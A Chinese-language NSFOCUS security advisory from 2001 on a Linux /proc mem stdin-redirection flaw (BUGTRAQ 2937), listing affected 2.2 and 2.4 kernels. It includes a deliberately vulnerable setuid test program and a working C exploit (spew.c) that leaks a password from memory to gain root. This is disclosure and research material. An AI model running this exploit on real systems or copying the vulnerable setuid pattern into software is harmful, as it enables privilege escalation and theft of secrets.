首页 -> 安全研究

安全研究

安全漏洞
Linux procfs 文件系统标准输入流重定向漏洞

发布日期:2001-06-27
更新日期:2001-07-03

受影响系统:

Linux kernel 2.4.3
Linux kernel 2.4.2
   + RedHat Linux 7.1
Linux kernel 2.4.1
Linux kernel 2.4
Linux kernel 2.2.9
Linux kernel 2.2.8
Linux kernel 2.2.7
Linux kernel 2.2.6
Linux kernel 2.2.5
Linux kernel 2.2.4
Linux kernel 2.2.3
Linux kernel 2.2.2
Linux kernel 2.2.19
Linux kernel 2.2.18
   + Wirex Immunix OS 7.0-Beta
   + Wirex Immunix OS 7.0
   + Wirex Immunix OS 6.2
Linux kernel 2.2.17
Linux kernel 2.2.16
Linux kernel 2.2.15
Linux kernel 2.2.14
   + Caldera eServer 2.3.1
   + Caldera eDesktop 2.4
Linux kernel 2.2.13
Linux kernel 2.2.12
Linux kernel 2.2.10
   + Caldera OpenLinux 2.3
Linux kernel 2.2.1
Linux kernel 2.2
描述:

BUGTRAQ ID : 2937

Linux /proc文件系统是Linux内核提供的一个虚拟文件系统,用来为进程和系统参数提供
一个接口。

在某些条件下,在对进程的'mem'文件地处理上存在一个安全漏洞。如果进程在执行exec()
族函数之前,首先关闭标准输入,然后打开当前进程的mem文件,并使用lseek()定位到mem
文件的某一偏移地址,那么在执行了exec()之后,该进程的标准输入将会从进程的mem文件
的某一地址开始读取。

如果攻击者可以得知正确的偏移地址,就可能利用某些setuid程序来获取内存中的敏感数
据或者提升权限。

<*来源:Zen Parse (zen-parse@gmx.net) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Zen Parse (zen-parse@gmx.net)提供了如下测试程序:

/**********************************************
** vuln-prog.c - chown root:root, chmod u+s **
**********************************************/

char *password, *input;
main(int argc,char*argv[])
{
int fd,count;
if(0>(fd=open("/dev/urandom",0)))exit(1);//check for resource starvation
password=(char*)malloc(17);
read(fd,password,16);
if(close(fd))exit(1);
password[16]=0;
input=(char*)malloc(17);
for(count=0;count<16;count++)input[count]=getchar();
input[count]=0;
for(count=0;count<16;count++)if(input[count]!=password[count])exit(1);
setreuid(0,0);
execl("/bin/bash","sh","-c",argv[1],0);
}

EOF


exploit:-

/* spew.c */
#include <stdio.h>
/* to get the address, ltrace a copy of the program as a normal user,
   or brute force it over the expected range. */

#define WHERETOREAD [the address malloced for password by vuln-prog]
// use ltrace on a non setuid copy of the program, or bruteforce it.
main()
{
char y[1000];
FILE *f;
int p;
p=getpid();
sprintf(y,"/proc/%d/mem",p);
close(0);
f=fopen(y,"r");
fseek(f,WHERETOREAD,SEEK_SET);
execl("/tmp/vuln-prog","scary","/tmp/myscript",0);
}

EOF


建议:

暂无

浏览次数:3871
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障